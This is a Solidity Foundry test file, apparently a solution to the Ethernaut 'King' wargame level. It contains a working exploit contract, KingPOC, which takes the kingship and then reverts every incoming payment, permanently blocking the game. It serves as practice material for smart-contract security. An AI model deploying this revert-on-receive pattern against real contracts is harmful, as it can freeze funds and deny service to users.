-
Notifications
You must be signed in to change notification settings - Fork 115
/
level9.t.sol
38 lines (29 loc) · 916 Bytes
/
level9.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/ethernaut/level9/King.sol";
contract KingPOC{
constructor(address _kingAddress) public payable {
console.log("msg.value", msg.value);
address(_kingAddress).call{value: msg.value}("");
}
fallback() external payable {
revert("nope");
}
}
contract Level9 is Test {
King level9;
function setUp() public {
level9 = new King{value: 1 wei}();
}
function testExploit() public {
KingPOC poc = new KingPOC{value: 1 wei}(address(level9));
console.log("poc address: ", address(poc));
console.log("king address: ", level9._king());
console.log("prize is :", level9.prize());
address(level9).call{value: level9.prize()}("");
}
fallback() external payable {
}
}